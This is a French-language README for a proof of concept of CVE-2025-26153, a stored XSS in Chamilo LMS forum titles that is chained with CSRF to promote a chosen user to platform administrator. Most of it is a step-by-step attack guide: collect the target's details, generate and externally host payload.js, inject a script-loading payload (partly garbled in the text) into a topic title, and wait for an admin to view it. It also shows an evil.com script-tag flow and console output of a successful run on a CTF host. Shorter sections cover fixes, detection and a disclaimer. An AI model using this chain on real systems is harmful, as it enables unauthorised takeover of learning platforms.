Chamilo LMS (<= v2.0) - POC XSS stocké menant à une élévation de privilèges [CVE-2025-26153]
Vue d'ensemble
Ce dépôt contient une preuve de concept démontrant une vulnérabilité de script intersite stocké (XSS) dans Chamilo LMS qui peut être exploitée pour réaliser une élévation de privilèges d'un utilisateur régulier à administrateur de la plateforme.
Cette vulnérabilité est référencée et corrigée : https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Détails de la vulnérabilité
- Application : Chamilo LMS <= v2.0
- Type de vulnérabilité : XSS stocké menant à une élévation de privilèges
Détails techniques
Emplacements du code vulnérable :
-
/public/main/forum/forumqualify.php - Ligne 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
-
/public/main/forum/viewforum.php - Ligne 369
.$thread->getTitle().'</a>';
-
Il y en a d'autres !
Cause racine :
- Les titres de sujets de forum sont stockés sans assainissement approprié
- Les titres de sujets sont affichés sans échappement HTML à plusieurs endroits
- Aucune politique de sécurité du contenu (CSP) empêchant l'exécution du XSS
Guide pas à pas de l'élévation de privilèges
Phase 1 : Collecte de données
Étape 1 : Recueillir les informations de l'utilisateur cible
- Connectez-vous à Chamilo LMS
- Accédez à
Social Network -> Personal Data
- Ouvrez
user_info et notez les informations suivantes :
- Identifiant utilisateur
- Nom d'utilisateur
- Prénom
- Nom
- Adresse e-mail
Étape 2 : Générer une charge utile personnalisée
- Exécutez le générateur de charge utile :
python generate_payload.py
- Saisissez l'identifiant utilisateur cible de l'étape 1
- Saisissez les informations descriptives que vous ne souhaitez pas modifier (ou spécifiez de nouvelles valeurs)
- Le script générera un fichier
payload.js personnalisé
Étape 3 : Héberger la charge utile à l'extérieur
- Téléversez le fichier
payload.js généré sur un service d'hébergement public :
- GitHub Gist (recommandé)
- GitHub Pages
- Votre propre serveur web
- Notez l'URL directe du fichier de charge utile
Phase 2 : Injection et exécution du XSS
Étape 4 : Accéder aux groupes sociaux
- Connectez-vous à Chamilo LMS (peut être avec n'importe quel compte utilisateur)
- Accédez à
Social Network -> Social groups
Étape 5 : Rejoindre ou créer un groupe social
- Rejoignez un groupe social existant, ou
- Créez un nouveau groupe social si nécessaire
Étape 6 : Déployer la charge utile XSS
- Créez un nouveau sujet dans le groupe social
- Dans le champ du titre du sujet, saisissez la charge utile XSS suivante :
eval(x.responseText);x.send()">
- Remplacez
YOUR-HOST-SERVER par l'URL réelle de votre hébergement
- Soumettez le sujet
Étape 7 : Déclencher l'élévation de privilèges
- Attendez qu'un utilisateur disposant de privilèges d'administrateur consulte le groupe social
- Lorsque l'administrateur consulte le sujet malveillant, la charge utile XSS s'exécute automatiquement en arrière-plan
- L'élévation de privilèges ne se produit PAS silencieusement - l'administrateur sera redirigé vers la liste des utilisateurs
- L'utilisateur cible spécifié sera promu administrateur de la plateforme sans aucune indication visible
Phase 3 : Vérification
Étape 8 : Confirmer l'élévation de privilèges
- Connectez-vous en tant qu'utilisateur cible
- Vérifiez si les privilèges d'administrateur ont été accordés
- Vérifiez l'accès aux fonctions administratives
Utilisation du générateur de charge utile
Le script generate_payload.py permet de personnaliser l'attaque d'élévation de privilèges :
Paramètres d'entrée :
- Identifiant utilisateur cible
- Nouveau nom d'utilisateur
- Nouveau mot de passe (facultatif)
- Code officiel
- Adresse e-mail
- Prénom, nom, téléphone (facultatif)
Exemple de flux d'attaque
1. Attacker creates malicious forum thread
└── Title: <script src=//evil.com/payload.js></script>
2. Admin user browses forum and views thread
└── Browser loads and executes external JavaScript
3. Payload creates hidden form with privilege escalation data
└── Targets specific User ID for promotion to admin
4. Form auto-submits via CSRF attack
└── Uses admin's session cookies automatically
5. Target user becomes platform administrator
└── Attacker gains full platform control
Stratégies d'atténuation
-
Assainissement des entrées
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
-
Encodage des sorties
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
-
Politique de sécurité du contenu
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Solutions à long terme
- Mettre en œuvre un framework complet de validation des entrées
- Effectuer régulièrement des revues de code sécurité
- Mettre en place des tests de sécurité automatisés dans le pipeline CI/CD
- Former l'équipe de développement à la sécurité
Détection et surveillance
Analyse des journaux
Surveillez :
- Créations/modifications inhabituelles d'utilisateurs administrateurs
- Titres de sujets de forum suspects contenant du HTML/JavaScript
- Chargement de scripts externes depuis des domaines non fiables
Avertissement légal
AVIS LÉGAL IMPORTANT
Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés.
- Utilisez-la uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
- L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions
- Cette recherche vise à aider les organisations à améliorer leur posture de sécurité
- Les auteurs ne sont pas responsables de toute utilisation abusive de ces informations
Crédits de recherche
Découverte et analyse : US Cyber Combine
Environnement de test : USCG CTF Environment
Sortie console d'une attaque réussie :
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200